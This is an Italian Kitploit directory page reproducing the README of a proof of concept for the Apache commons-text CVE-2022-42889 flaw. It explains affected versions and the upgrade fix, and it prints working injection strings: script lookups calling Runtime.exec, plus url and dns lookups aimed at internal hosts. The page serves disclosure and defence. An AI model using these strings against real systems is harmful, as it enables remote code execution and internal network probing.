Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-42889-PoC — Prova di concetto per la vulnerabilità CVE-2022-42889 di Apache commons-text. | Kitploit
Strumenti/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Prova di concetto per la vulnerabilità CVE-2022-42889 di Apache commons-text.

Vedi Repository
34173 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-42889 PoC

Questa è una Proof of Concept per la vulnerabilità CVE-2022-42889. Questo codice eseguirà il codice JavaScript 195 + 324. Se vulnerabile, l'output dovrebbe essere:

root@kitploit:~
PoC Output: 519

Per eseguirlo avrai bisogno di:

  • JDK 11 o superiore
  • Maven

Quando viene richiesta una stringa di exploit, puoi fornire la tua stringa di exploit (e premere Invio per inserire la stringa), oppure semplicemente premere Invio per usare la stringa di exploit predefinita ${script:javascript:195 + 324}.

Docker

In alternativa puoi usare Docker per eseguire questa PoC:

root@kitploit:~
docker build -t poc .
docker run -it poc

Qual è il problema?

Il problema deriva dal fatto che le seguenti chiavi non dovrebbero essere interpolate di default (come da documentazione https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

Questa lookup consente di eseguire il codice JavaScript fornito. Il risultato è la capacità per un attaccante di eseguire codice arbitrario sul sistema.

Formato

root@kitploit:~
${script:<engine>:<code>}

Esempio

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Esempio nella PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Questa lookup chiama l'url specificato. Un attaccante potrebbe sfruttarla per effettuare richieste GET di base verso risorse interne.

Formato

root@kitploit:~
${url:<character-encoding>:<url>}

Esempio

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Esempio nella PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Questa lookup esegue una query DNS o una reverse lookup. Questo potrebbe permettere a un attaccante di identificare risorse interne.

Formato

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

Esempio

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Esempio nella PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

Tuttavia, a causa di un difetto nella logica, queste 3 chiavi vengono interpolate di default, quando non dovrebbero esserlo (poiché potrebbero rappresentare un rischio per la sicurezza).

Qual è il rischio?

Un attaccante con il controllo della stringa passata a una sostituzione StringSubstitutor vulnerabile potrebbe consentire all'attaccante di:

  • Eseguire codice JavaScript sul sistema (tipicamente un server) che esegue il codice StringSubstitutor
  • Connettersi ad altri server dal sistema vulnerabile
  • Potenzialmente ottenere accesso ad altre risorse remote dal sistema vulnerabile

Sono vulnerabile?

Affinché il tuo codice sia vulnerabile devi:

  • Utilizzare una versione di Apache commons-text dalla versione 1.5.0 fino alla (ma non inclusa) 1.10.0

  • Utilizzare l'interpolazione per la tua StringSubstitution (vedi https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Nota che in JDK 15 e successivi il motore JavaScript Nashorn non è più incluso. Tuttavia, il motore JEXL è ancora incluso e di conseguenza la RCE potrebbe essere ancora possibile.

    (grazie a rgmz per averlo evidenziato)

Fix ufficiale

La soluzione è aggiornare le tue istanze di commons-text alle versioni 1.10.0 o successive.

Nota

Le altre lookup predefinite potrebbero comunque rappresentare un rischio per la sicurezza (come la capacità di leggere il contenuto di file, leggere le proprietà di sistema, ecc.). Usa questa funzionalità con cautela e assicurati che tutto l'input utente sia adeguatamente sanificato (ad esempio facendolo passare attraverso una lista consentita).

Scarica lo strumento